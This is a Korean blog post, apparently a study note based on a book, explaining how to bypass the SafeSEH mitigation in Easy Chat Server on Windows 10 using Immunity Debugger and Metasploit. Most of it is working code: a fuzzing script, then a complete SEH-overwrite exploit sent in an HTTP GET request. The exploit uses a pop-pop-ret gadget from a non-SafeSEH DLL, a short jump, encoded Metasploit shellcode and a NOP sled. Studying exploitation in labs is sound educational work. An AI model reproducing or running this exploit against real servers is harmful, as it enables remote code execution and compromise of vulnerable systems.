본문 바로가기

IT/시스템 해킹(System Hacking)

[Windows System Hacking] Bypassing Safe SEH

[*] 해당 문서는 서적 [윈도우 시스템 해킹 가이드 - 버그헌팅과 익스플로잇]을 참고하여 작성하였습니다. 

 

Windows System Hacking 연구를 위해서 학습을 진행하며

여러가지 공격기법에 대하여 정리하려고 한다.

해당 문서는 Mitigation중 하나인 Safe SEH에 대한 우회방법(Bypassing)에 대해 기술한 문서이다.

 

SafeSEHSEH Handler를 덮어씌워서 공격하는 SEH Overwrite Exploit 기법을 막기 위한 방어기법이다.

 

[실습 바이너리 & 익스플로잇 코드]

Bypassing SafeSEH.zip
1.33MB


[ 실습 환경 ]

테스트 환경 : Windows 10 Pro 64bit

테스트 대상 : Easy Chat Server[Non ASLR, Non DEP, StackGuard, safeSEH]

테스트 도구 : Immunity Debugger, Metasploit

 

우선 테스트 환경은 Windows 10 Pro 64bit 버전 하에서

보호기법(Mitigation) StackGuard와 safeSEH가 적용된 바이너리를 익스플로잇(Exploit) 해보려고한다.

테스트 도구로는 다음과 같이 Immunity DebuggerMetasploit을 이용하였다.



[바이너리 분석]

그림1. 실행 분석

 

해당 바이너리를 실행하면 다음과 같이 현재 아이피와 포트가 보여진다.

포트는 80번 포트로 일반적인 웹서버에서 사용하는 포트이므로 브라우저를 통해 접속해보았다.

 

그림2. 실행 분석

 

바이너리의 이름과 걸맞게 웹을 통한 사용자 간의 채팅을 할 수 있도록 구축해주는 서비스인 것으로 확인된다.

 

해당 바이너리에서 보면 취약점을 발생시킬 수 있는 untrusted input들을 몇 가지 분류하여

이를 토대로 입력값을 바꿔가며 확인할 수 있으나 취약점을 찾는 과정은 생략하여 기술하도록 하겠다.

해당 바이너리는 Buffer Over Flow가 발생한다는 것을 사전에 알고 있다는 것을 가정으로 한다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
import struct
from socket import *
 
PAYLOAD = ""
PAYLOAD += "AAAA"*10  #0x41
PAYLOAD += "BBBB"*10  #0x42
PAYLOAD += "CCCC"*10  #0x43
PAYLOAD += "DDDD"*10  #0x44
PAYLOAD += "EEEE"*10  #0x45
PAYLOAD += "FFFF"*10  #0x46
PAYLOAD += "GGGG"*10  #0x47
PAYLOAD += "HHHH"*10  #0x48
PAYLOAD += "IIII"*10  #0x49
PAYLOAD += "JJJJ"*10  #0x4a
PAYLOAD += "KKKK"*10  #0x4b
PAYLOAD += "LLLL"*10  #0x4c
PAYLOAD += "MMMM"*10  #0x4d
PAYLOAD += "NNNN"*10  #0x4e
PAYLOAD += "OOOO"*10  #0x4f
PAYLOAD += "PPPP"*10  #0x50
PAYLOAD += "QQQQ"*10  #0x51
PAYLOAD += "RRRR"*10  #0x52
PAYLOAD += "SSSS"*10  #0x53
PAYLOAD += "TTTT"*10  #0x54
PAYLOAD += "UUUU"*10  #0x55
PAYLOAD += "VVVV"*10  #0x56
PAYLOAD += "WWWW"*10  #0x57
PAYLOAD += "XXXX"*10  #0x58
PAYLOAD += "YYYY"*10  #0x59
PAYLOAD += "ZZZZ"*10  #0x5a
PAYLOAD += "[[[["*10  #0x5b
PAYLOAD += "\\\\"*10  #0x5c
PAYLOAD += "]]]]"*10  #0x5d
PAYLOAD += "^^^^"*10  #0x5e
PAYLOAD += "____"*10  #0x5f
PAYLOAD += "````"*10  #0x60
PAYLOAD += "aaaa"*10  #0x61
PAYLOAD += "bbbb"*10  #0x62
PAYLOAD += "cccc"*10  #0x63
PAYLOAD += "dddd"*10  #0x64
PAYLOAD += "eeee"*10  #0x65
PAYLOAD += "ffff"*10  #0x66
PAYLOAD += "gggg"*10  #0x67
PAYLOAD += "hhhh"*10  #0x68
PAYLOAD += "iiii"*10  #0x69
PAYLOAD += "jjjj"*10  #0x6a
PAYLOAD += "kkkk"*10  #0x6b
PAYLOAD += "llll"*10  #0x6c
PAYLOAD += "mmmm"*10  #0x6d
PAYLOAD += "nnnn"*10  #0x6e
PAYLOAD += "oooo"*10  #0x6f
PAYLOAD += "pppp"*10  #0x70
PAYLOAD += "qqqq"*10  #0x71
PAYLOAD += "rrrr"*10  #0x72
PAYLOAD += "ssss"*10  #0x73
PAYLOAD += "tttt"*10  #0x74
PAYLOAD += "uuuu"*10  #0x75
PAYLOAD += "vvvv"*10  #0x76
PAYLOAD += "wwww"*10  #0x77
PAYLOAD += "xxxx"*10  #0x78
PAYLOAD += "yyyy"*10  #0x79
PAYLOAD += "zzzz"*10  #0x7a
PAYLOAD += "{{{{"*10  #0x7b
PAYLOAD += "||||"*10  #0x7c
PAYLOAD += "}}}}"*10  #0x7d
PAYLOAD += "~~~~"*10  #0x7e
 
print("[*] Sending Packet...")
 
= socket(AF_INET,SOCK_STREAM,0)
 
s.connect(('127.0.0.1',80))
s.send("GET /chat.ghp?username=" + PAYLOAD + "&password=&room=1&sex=1 HTTP/1.1\r\n\r\n")
 
print s.recv(150)
 
s.close()
 
 
 

 

다음과 같이 실제 EIP가 어떠한 곳으로 컨트롤 되는지 파악하기 위해서 다음과 같은 페이로드를 작성했다.

다소 무식한 방법으로 보이지만 해당 부분을 자동화 해놓아서 실행 만으로 몇 바이트 입력 시

EIP가 컨트롤 가능한지 파악할 수 있다.

 

그림3. EIP corrupt

 

다음과 같은 방법을 통해 EIP를 control하기 위한 페이로드(payload)의 길이를 구해낼 수 있었으며 

추가적으로 예외가 발생하여 이를 처리하는 과정에서 오염된 핸들러(handler)의 주소로 점프하다 발생한 크래쉬이다.

 

결과적으로 해당 바이너리는 Buffer Over Flow를 통한 SEH overwrite가 가능하다는 것이다.

 

 

[바이너리 공격]

 

그림4. 예외 발생시의 스택 상황

 

익스플로잇(exploit)을 진행하기 위해서 예외 처리를 위한 핸들러가 실행 됬을 떄의 스택을  살펴볼 필요가 있다.

Control 가능한 스택의 주소가 여러군데 있는 것을 확인하였으며

무난하게 현재 스택 포인터를 기준으로 +8 위치에 있는 스택으로 EIP를 컨트롤 하려고 한다.

그러기 위해서는 pop pop ret역할을 하는 가젯(gadget)을 찾아야 한다.

 

그림5. module informations

 

모듈 정보를 검색한 결과 로드된 많은 모듈을 확인할 수 있다.

여기서 중요한 점은 보호기법(mitigation) 중 SafeSEH가 걸려 있지 않은 모듈에서의 가젯을 찾아야 한다는 것이다.

 

SafeSEH 같은 경우 예외 발생시 Exception Handler에 대한 검증을 수행한다.

예외(Exception) 발생 시 Handler가 운영체제에의해서 주소 값을 검증하여

적절한 절차에 의해 등록된 Handler인지 확인하기에 SafeSEH가 적용된 모듈의 가젯으로는 점프가 불가능하다.

 

하지만 해당 모듈 중 SafeSEH가 적용되지 않았다면 해당 모듈에 대한 가젯을 통해 우회가 가능하다. 

 

이러한 조건을 만족하는 LIBEAY32.dll에서 가젯을 추출하였다

 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
import struct
from socket import *
 
PAYLOAD = "X"
PAYLOAD += "AAAA"*10  #0x41
PAYLOAD += "BBBB"*10  #0x42
PAYLOAD += "CCCC"*10  #0x43
PAYLOAD += "DDDD"*10  #0x44
PAYLOAD += "EEEE"*10  #0x45
 
 
PAYLOAD += "0000"    #0x30
PAYLOAD += "1111"    #0x31
PAYLOAD += "2222"    #0x32
PAYLOAD += "3333"    #0x33
PAYLOAD += "\xeb\x06\x90\x90"    #0x34  #OPCODE JMP SHORT
PAYLOAD += struct.pack('<L'0x100186e5)    #0x35   # SEH handler
PAYLOAD += "\x90\x90\x90\x90"*1    #0x36
 
 
 
buf =  b""
buf += b"\x89\xe3\xd9\xc7\xd9\x73\xf4\x5b\x53\x59\x49\x49\x49"
buf += b"\x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43"
buf += b"\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41"
buf += b"\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42"
buf += b"\x58\x50\x38\x41\x42\x75\x4a\x49\x79\x6c\x69\x78\x4f"
buf += b"\x72\x43\x30\x37\x70\x43\x30\x31\x70\x4f\x79\x78\x65"
buf += b"\x36\x51\x69\x50\x52\x44\x6c\x4b\x36\x30\x36\x50\x4c"
buf += b"\x4b\x62\x72\x66\x6c\x6e\x6b\x72\x72\x54\x54\x6e\x6b"
buf += b"\x70\x72\x75\x78\x54\x4f\x48\x37\x50\x4a\x74\x66\x76"
buf += b"\x51\x4b\x4f\x6c\x6c\x37\x4c\x50\x61\x43\x4c\x73\x32"
buf += b"\x46\x4c\x37\x50\x7a\x61\x68\x4f\x34\x4d\x37\x71\x6f"
buf += b"\x37\x6b\x52\x5a\x52\x30\x52\x53\x67\x4c\x4b\x46\x32"
buf += b"\x54\x50\x4c\x4b\x62\x6a\x57\x4c\x6e\x6b\x50\x4c\x46"
buf += b"\x71\x71\x68\x6a\x43\x43\x78\x45\x51\x78\x51\x33\x61"
buf += b"\x6e\x6b\x32\x79\x71\x30\x73\x31\x6b\x63\x6e\x6b\x62"
buf += b"\x69\x77\x68\x69\x73\x65\x6a\x50\x49\x4e\x6b\x65\x64"
buf += b"\x6c\x4b\x75\x51\x68\x56\x34\x71\x79\x6f\x4c\x6c\x69"
buf += b"\x51\x38\x4f\x54\x4d\x37\x71\x78\x47\x44\x78\x79\x70"
buf += b"\x51\x65\x68\x76\x64\x43\x61\x6d\x78\x78\x47\x4b\x71"
buf += b"\x6d\x36\x44\x31\x65\x5a\x44\x71\x48\x4c\x4b\x76\x38"
buf += b"\x56\x44\x65\x51\x39\x43\x52\x46\x4c\x4b\x74\x4c\x32"
buf += b"\x6b\x6c\x4b\x53\x68\x57\x6c\x63\x31\x68\x53\x4c\x4b"
buf += b"\x33\x34\x4e\x6b\x57\x71\x6a\x70\x4e\x69\x70\x44\x37"
buf += b"\x54\x66\x44\x31\x4b\x51\x4b\x45\x31\x51\x49\x32\x7a"
buf += b"\x46\x31\x69\x6f\x69\x70\x71\x4f\x63\x6f\x72\x7a\x6e"
buf += b"\x6b\x67\x62\x68\x6b\x4c\x4d\x73\x6d\x52\x4a\x46\x61"
buf += b"\x6c\x4d\x6f\x75\x6f\x42\x77\x70\x37\x70\x35\x50\x50"
buf += b"\x50\x73\x58\x75\x61\x4c\x4b\x70\x6f\x6c\x47\x39\x6f"
buf += b"\x58\x55\x4f\x4b\x5a\x50\x4e\x55\x4e\x42\x66\x36\x33"
buf += b"\x58\x6f\x56\x6f\x65\x4d\x6d\x4f\x6d\x59\x6f\x7a\x75"
buf += b"\x67\x4c\x33\x36\x53\x4c\x37\x7a\x4d\x50\x49\x6b\x6b"
buf += b"\x50\x51\x65\x36\x65\x4f\x4b\x42\x67\x34\x53\x62\x52"
buf += b"\x50\x6f\x50\x6a\x45\x50\x73\x63\x4b\x4f\x38\x55\x73"
buf += b"\x53\x63\x51\x32\x4c\x45\x33\x46\x4e\x31\x75\x53\x48"
buf += b"\x63\x55\x67\x70\x41\x41"
 
NOP = "\x90"*400
 
 
print("[*] Sending Packet...")
 
= socket(AF_INET,SOCK_STREAM,0)
 
s.connect(('127.0.0.1',80))
s.send("GET /chat.ghp?username=" + PAYLOAD + buf + NOP + "&password=&room=1&sex=1 HTTP/1.1\r\n\r\n")
 
try:
    s.recv(150)
except:
    print("[*] Exploit!")
 
 
s.close()
 
 
 

 

이를 통해 최종적으로 완성된 익스플로잇이다.

 

그림6. Exploit!

 


[고찰]

해당 프로그램을 분석하며 생각했던 점을 기술해보려고 한다.

가장 힘들었던 부분은 기본적인 쉘코드가 사용이 되지 않는다는 것이였다.

여러차례의 디버깅을 통해 분석해본 결과 '\x20' 즉 공백문자가 입력이 되지 않는다는 것이였다.

 

그래서 아무리 서버에 데이터를 전송해도 디버거 상에서는 어떠한 예외가 발생하지도 않고 반응이 없었는데

\x20이 들어가는 순간 해당 바이너리에서는 페이로드가 더 이상 전송되지 않는 것으로 보였다.

 

그래서 메타스플로잇을 이용해 '\x20'을 제외한 알파뉴메릭(alphanumeric) 쉘코드를 제너레이팅하였다.